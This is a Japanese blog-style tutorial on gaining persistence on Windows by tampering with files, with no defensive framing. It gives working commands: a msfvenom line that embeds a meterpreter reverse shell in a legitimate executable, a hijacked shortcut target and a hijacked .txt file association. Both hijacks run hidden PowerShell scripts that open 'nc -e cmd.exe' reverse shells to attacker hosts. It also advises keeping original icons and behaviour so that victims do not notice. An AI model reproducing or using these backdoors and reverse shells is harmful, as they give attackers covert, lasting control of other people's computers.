Windows環境におけるファイル改変による永続化手法

Windowsシステム内で制御権を長期間維持する手法の一つに、既存のファイル構造を改変して隐蔽プロセスを仕込むアプローチがあります。ユーザーが日常的に操作するリソースに介入することで、アクセス発生時に自動的に悪意あるコードが実行される仕組みです。この際、本来の機能が正常に動作し続けることが重要であり、システム異常を検知されないよう細心の配慮が必要です。

実行可能プログラムへのペイロード埋め込み

デスクトップやシステムディレクトリに配置されている.exeファイルは、頻繁に実行される対象となります。例えば、通信クライアントアプリケーションを対象とします。ショートカットのプロパティを確認すれば、本来の実行パス(例: `C:\Program Files\Utils\client.exe`)が判明します。攻撃者はこのファイルをローカル環境に複製し、追加のスレッドとして逆接続ペイロードを実行するよう再構成します。

標準的な手法としては、`msfvenom`を用いたバイナリインジェクションが挙げられます。元のプログラムの処理フローを保持しつつ、バックグラウンドでシェルセッションを取得するコードを組み込むことができます。以下は、改変済み実行ファイルを生成するコマンドの構成例です。

msfvenom -a x64 --platform windows \`
  -x C:\temp\original_client.exe \`
  -k \`
  -p windows/x64/meterpreter/reverse_tcp \`
  LHOST=<ATTACKER_IP> LPORT=9090 \`
  -b "\x00" \`
  -f exe \`
  -o C:\temp\modified_client.exe

出力されたファイルは元々のUIや業務処理をそのまま実行しますが、隠蔽されたプロセスで指定されたポートへ逆接続を試みるスレッドが同時に起動します。デジタル署名の無効化やインテグリティチェックを回避するためには、追加の対策検討が必要となります。

ショートカットリンクのターゲット変更

実行ファイルそのものをバイナリレベルで改変せずに済むアプローチとして、`.lnk`ファイルの起動先設定を上書きする手法があります。本来の実行パスの代わりに、逆接続を確立した後で元プログラムを呼び出すスクリプトを指定します。

まず、システムディレクトリなどの目立たない場所に補助スクリプト(例: `init_helper.ps1`)を配置します。このスクリプトは隠しウィンドウで動作し、接続処理完了後に本来のアプリケーションを起動します。

# init_helper.ps1
$c2Endpoint = "10.0.0.5"
$c2Port = "8443"
$targetBinary = "C:\Windows\System32\calc.exe"

Start-Process -FilePath "C:\Tools\nc.exe" \`
  -ArgumentList "-e", "cmd.exe", $c2Endpoint, $c2Port \`
  -WindowStyle Hidden

Start-Process -FilePath $targetBinary

次に、対象のショートカットプロパティを開き、「リンク先」フィールドを以下のように変更します。

powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\init_helper.ps1

アイコン設定が自動変更される場合があるため、ユーザーが違和感を抱かないよう元のアイコンパスを再設定しておくのが望ましいです。攻撃機側でポートを待ち受け状態にしておけば、ターゲットがショートカットをクリックした瞬間にセッションが確立されます。

ファイル拡張子の関連付けハイジャック

特定のファイル形式を開く際のデフォルトアプリケーションを乗っ取る手法もあります。Windowsでは、拡張子ごとの動作ルールがレジストリの `HKEY_LOCAL_MACHINE\Software\Classes` 配下に格納されています。

例えば `.txt` ファイルを開く際のプロセスを確認するには、`HKLM\Software\Classes\.txt` を参照し、関連付けられているProgID(例: `txtfile`)を特定します。その後、該当するProgID配下の `shell\open\command` キーに記録されているコマンド列が、実際の起動処理となります。標準的には `%SystemRoot%\system32\NOTEPAD.EXE %1` のような記述が見られます。

このコマンド列を、スクリプト実行を挟む形に上書きすることで処理を挟み込めます。以下の内容のスクリプト(例: `hook_launcher.ps1`)を作成します。

# hook_launcher.ps1
$payloadServer = "192.168.1.100"
$payloadPort = "4447"
$fileToOpen = $args[0]

cmd /c "C:\Tools\nc64.exe -e cmd.exe $payloadServer $payloadPort"

if (Test-Path $fileToOpen) {
  Invoke-Item $fileToOpen
}

レジストリエディタで `shell\open\command` の既定値を、作成したスクリプトを隠蔽実行するコマンドに変更します。

powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\hook_launcher.ps1 "%1"

設定完了後、被害機で任意のテキストファイルを開こうとすると、指定されたスクリプトが先に実行され、攻撃機に対して逆接続が試行されます。この際、取得できるセッション権限はファイルを開いたユーザーの権限に従います。

タグ: Windows persistence msfvenom PowerShell RegistryHijacking

6月26日 22:20 投稿